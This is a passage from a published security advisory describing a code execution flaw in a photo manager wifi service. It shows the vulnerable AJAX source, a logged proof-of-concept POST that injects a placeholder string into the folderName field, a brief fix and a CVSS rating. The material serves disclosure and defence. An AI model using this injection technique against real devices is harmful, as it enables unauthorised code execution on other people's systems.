PoC: Vulnerable Source
}
function createFolder() {
$.ajax({
type: 'POST',
url: 'newfolder.action',
cache: false,
dataType: 'json',
data: {folderName:$('#foldername').attr('value'), isSubfolder:$('#is_subfolder_hidden').attr('value'), parentFolderID:$('#parent_folder_hidden').attr('value')},
async: false,
success: function(result) {
window.location.reload(false);
}
});
}
--- Poc Session Logs [POST] (Inject) ---
Status: 200[OK]
POST http://localhost:8080/newfolder.action
Load Flags[LOAD_BYPASS_CACHE LOAD_BACKGROUND ] Größe des Inhalts[23] Mime Type[application/x-unknown-content-type]
Request Header:
Host[localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0]
Accept[application/json, text/javascript, */*; q=0.01]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Content-Type[application/x-www-form-urlencoded; charset=UTF-8]
X-Requested-With[XMLHttpRequest]
Referer[http://localhost:8080/index.html]
Content-Length[50]
Cookie[isenabledpasscode=false]
Connection[keep-alive]
Pragma[no-cache]
Cache-Control[no-cache]
POST-Daten:
folderName[*/-CODE EXECUTION VULNERABILITY!;]
isSubfolder[0]
parentFolderID[0]
Response Header:
Accept-Ranges[bytes]
Content-Length[23]
Date[Do., 05 März 2015 20:34:46 GMT]
Status: 200[OK]
GET http://localhost:8080/index.html
Load Flags[VALIDATE_ALWAYS LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[9421] Mime Type[application/x-unknown-content-type]
Request Header:
Host[localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://localhost:8080/browse_folder.html?folderID=6]
Cookie[isenabledpasscode=false]
Connection[keep-alive]
Cache-Control[max-age=0]
Response Header:
Accept-Ranges[bytes]
Content-Length[9421]
Date[Do., 05 März 2015 20:34:46 GMT]
Status: 200[OK]
GET http://localhost:8080/javascript/linkus.js
Load Flags[VALIDATE_ALWAYS ] Größe des Inhalts[397] Mime Type[application/x-unknown-content-type]
Request Header:
Host[localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0]
Accept[*/*]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://localhost:8080/index.html]
Cookie[isenabledpasscode=false]
Connection[keep-alive]
Cache-Control[max-age=0]
Response Header:
Accept-Ranges[bytes]
Content-Length[397]
Date[Do., 05 März 2015 20:34:46 GMT]
Reference(s):
http://localhost:8080/index.html
http://localhost:8080/newfolder.action
http://localhost:8080/index.html#?w=300
http://localhost:8080/browse_folder.html?folderID=5
Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerable folderName value. Restrict the input and filter the context by usage of a own exception to
prevent the application-side code execution.
Security Risk:
==============
The security risk of the code execution vulnerability in the photo manager wifi service is estimated as high. (CVSS 8.6)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]
Disclaimer & Information:
=========================
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